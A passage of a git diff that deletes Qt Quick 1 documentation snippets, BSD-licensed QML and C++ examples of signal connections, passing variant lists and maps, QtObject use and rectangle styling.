(INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -// main.qml -import QtQuick 1.0 - -Image { source: "images/background.png" } -//![0] diff --git a/doc/src/snippets/qtquick1/qtbinding/resources/resources.pro b/doc/src/snippets/qtquick1/qtbinding/resources/resources.pro deleted file mode 100644 index cc01ee126f..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/resources/resources.pro +++ /dev/null @@ -1,4 +0,0 @@ -QT += declarative - -SOURCES += main.cpp -RESOURCES += example.qrc diff --git a/doc/src/snippets/qtquick1/qtbinding/signals-cpp/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/signals-cpp/MyItem.qml deleted file mode 100644 index 16d0834f70..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/signals-cpp/MyItem.qml +++ /dev/null @@ -1,50 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -// MyItem.qml -import QtQuick 1.0 - -Item { - Connections { - target: imageViewer - onImageChanged: console.log("Image has changed!") - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/qtbinding/signals-cpp/imageviewer.h b/doc/src/snippets/qtquick1/qtbinding/signals-cpp/imageviewer.h deleted file mode 100644 index a066447cfb..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/signals-cpp/imageviewer.h +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include - -//![start] -class ImageViewer : public QDeclarativeItem -{ - Q_OBJECT - Q_PROPERTY(QUrl image READ image WRITE setImage NOTIFY imageChanged) -public: -//![start] - ImageViewer(QDeclarativeItem *item = 0); - - void setImage(const QUrl &url) {} - QUrl image() const { return QUrl(); } - -public slots: - void emitSignals(); - -//![end] -signals: - void imageChanged(); - void loadingError(const QString &errorMsg); -}; -//![end] - diff --git a/doc/src/snippets/qtquick1/qtbinding/signals-cpp/main.cpp b/doc/src/snippets/qtquick1/qtbinding/signals-cpp/main.cpp deleted file mode 100644 index f3ea3f26df..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/signals-cpp/main.cpp +++ /dev/null @@ -1,81 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include - -#include "imageviewer.h" - - -ImageViewer::ImageViewer(QDeclarativeItem *item) - : QDeclarativeItem(item) -{ - QTimer::singleShot(0, this, SLOT(emitSignals())); -} - -void ImageViewer::emitSignals() -{ - emit imageChanged(); - emit loadingError("some error message"); -} - -int main(int argc, char *argv[]) -{ - QApplication app(argc, argv); - - qmlRegisterType("MyLibrary", 1, 0, "ImageViewer"); - - QDeclarativeView standalone; - standalone.setSource(QUrl::fromLocalFile("standalone.qml")); - standalone.show(); - -//![connections] -ImageViewer viewer; - -QDeclarativeView view; -view.rootContext()->setContextProperty("imageViewer", &viewer); - -view.setSource(QUrl::fromLocalFile("MyItem.qml")); -view.show(); -//![connections] - - return app.exec(); -} - - diff --git a/doc/src/snippets/qtquick1/qtbinding/signals-cpp/standalone.qml b/doc/src/snippets/qtquick1/qtbinding/signals-cpp/standalone.qml deleted file mode 100644 index 33afc1f39c..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/signals-cpp/standalone.qml +++ /dev/null @@ -1,48 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import MyLibrary 1.0 - -//![0] -ImageViewer { - onImageChanged: console.log("Image changed!") - onLoadingError: console.log("Image failed to load:", errorMsg) -} -//![0] - diff --git a/doc/src/snippets/qtquick1/qtbinding/signals-qml/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/signals-qml/MyItem.qml deleted file mode 100644 index 7a3e4f9581..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/signals-qml/MyItem.qml +++ /dev/null @@ -1,55 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -// MyItem.qml -import QtQuick 1.0 - -Item { - id: item - width: 100; height: 100 - - signal qmlSignal(string msg) - - MouseArea { - anchors.fill: parent - onClicked: item.qmlSignal("Hello from QML") - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/qtbinding/signals-qml/main.cpp b/doc/src/snippets/qtquick1/qtbinding/signals-qml/main.cpp deleted file mode 100644 index 084d5f0e4b..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/signals-qml/main.cpp +++ /dev/null @@ -1,59 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include - -//![0] -int main(int argc, char *argv[]) { - QApplication app(argc, argv); - - QDeclarativeView view(QUrl::fromLocalFile("MyItem.qml")); - QObject *item = view.rootObject(); - - MyClass myClass; - QObject::connect(item, SIGNAL(qmlSignal(QString)), - &myClass, SLOT(cppSlot(QString))); - - view.show(); - return app.exec(); -} -//![0] - -#include "moc_main.cpp" diff --git a/doc/src/snippets/qtquick1/qtbinding/signals-qml/myclass.h b/doc/src/snippets/qtquick1/qtbinding/signals-qml/myclass.h deleted file mode 100644 index 6275de6b2c..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/signals-qml/myclass.h +++ /dev/null @@ -1,51 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -//![0] -class MyClass : public QObject -{ - Q_OBJECT -public slots: - void cppSlot(const QString &msg) { - qDebug() << "Called the C++ slot with message:" << msg; - } -}; -//![0] diff --git a/doc/src/snippets/qtquick1/qtbinding/variantlistmap/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/variantlistmap/MyItem.qml deleted file mode 100644 index deb6c5c431..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/variantlistmap/MyItem.qml +++ /dev/null @@ -1,54 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -//![0] -// MyItem.qml -Item { - function readValues(anArray, anObject) { - for (var i=0; i -#include - -int main(int argc, char *argv[]) { - QApplication app(argc, argv); - -//![0] -// C++ -QDeclarativeView view(QUrl::fromLocalFile("MyItem.qml")); - -QVariantList list; -list << 10 << Qt::green << "bottles"; - -QVariantMap map; -map.insert("language", "QML"); -map.insert("released", QDate(2010, 9, 21)); - -QMetaObject::invokeMethod(view.rootObject(), "readValues", - Q_ARG(QVariant, QVariant::fromValue(list)), - Q_ARG(QVariant, QVariant::fromValue(map))); -//![0] - - view.setSource(QUrl::fromLocalFile("MyItem.qml")); - view.show(); - - return app.exec(); -} - diff --git a/doc/src/snippets/qtquick1/qtobject.qml b/doc/src/snippets/qtquick1/qtobject.qml deleted file mode 100644 index 720b515ff9..0000000000 --- a/doc/src/snippets/qtquick1/qtobject.qml +++ /dev/null @@ -1,54 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Item { - QtObject { - id: attributes - property string name - property int size - property variant attributes - } - - Text { text: attributes.name } -} -//![0] - diff --git a/doc/src/snippets/qtquick1/rectangle/rect-border-width.qml b/doc/src/snippets/qtquick1/rectangle/rect-border-width.qml deleted file mode 100644 index 684144b25a..0000000000 --- a/doc/src/snippets/qtquick1/rectangle/rect-border-width.qml +++ /dev/null @@ -1,59 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -//![0] -Rectangle { - width: 100; height: 100 - color: "lightblue" - - Rectangle { - anchors.fill: parent - anchors.margins: 10 - clip: true - - Rectangle { - anchors.fill: parent - border.width: 1 - } - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/rectangle/rectangle-colors.qml b/doc/src/snippets/qtquick1/rectangle/rectangle-colors.qml deleted file mode 100644 index f2c660a097..0000000000 --- a/doc/src/snippets/qtquick1/rectangle/rectangle-colors.qml +++ /dev/null @@ -1,62 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - width: 100; height: 200 - -Item { - x: 10; y: 10 - width: 80; height: 180 - -//! [rectangles] -Rectangle { - color: "#00B000" - width: 80; height: 80 -} - -Rectangle { - color: "steelblue" - y: 100; width: 80; height: 80 -} -//! [rectangles] -} -} diff --git a/doc/src/snippets/qtquick1/rectangle/rectangle-gradient.qml b/doc/src/snippets/qtquick1/rectangle/rectangle-gradient.qml deleted file mode 100644 index 1540153329..0000000000 --- a/doc/src/snippets/qtquick1/rectangle/rectangle-gradient.qml +++ /dev/null @@ -1,74 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 